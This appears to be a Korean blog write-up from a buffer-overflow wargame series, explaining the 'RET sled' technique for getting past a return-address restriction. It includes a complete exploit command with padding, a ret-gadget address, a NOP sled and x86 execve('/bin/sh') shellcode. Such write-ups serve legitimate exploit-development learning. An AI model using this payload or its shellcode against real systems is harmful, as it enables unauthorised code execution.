- ret값에 스택과 라이브러리 둘다 넣지 못하게 되어있다. 하지만 방법은 있다!


* RET Sled

- 정상적인 ret에 명령어의 주소 &ret을 넣어주면 pop eip, jmp eip를 통해 ebp+8에 ret값을 사용할 수 있다.

leave

-mov esp, ebp
-pop ebp

ret
-pop eip


$(python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe8\xfa\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

eip 에 &ret 주소를 넣어 주고 ebp+8 이 ret 이 되니까 여기 쉘코드 시작주소를 넣어주면 된다.










'WARGAME > BOF' 카테고리의 다른 글

[BOF] golem->darkknight  (0) 2018.02.20
[BOF] skeleton->golem  (0) 2018.02.20
[BOF] vampire->skeleton  (0) 2018.02.20
[BOF] orge->vampire  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20

+ Recent posts